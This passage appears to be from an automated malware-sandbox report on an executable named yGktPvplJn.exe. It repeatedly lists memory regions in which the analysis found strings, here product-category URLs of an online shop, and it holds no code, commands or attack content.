Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/christmas/traditional-shapes/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/culture/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/culture/art-artists/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/culture/dance/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/culture/literature/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/culture/music/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/culture/science/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/culture/sport/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/figures/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/figures/female/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/figures/male/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/flora-fauna/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 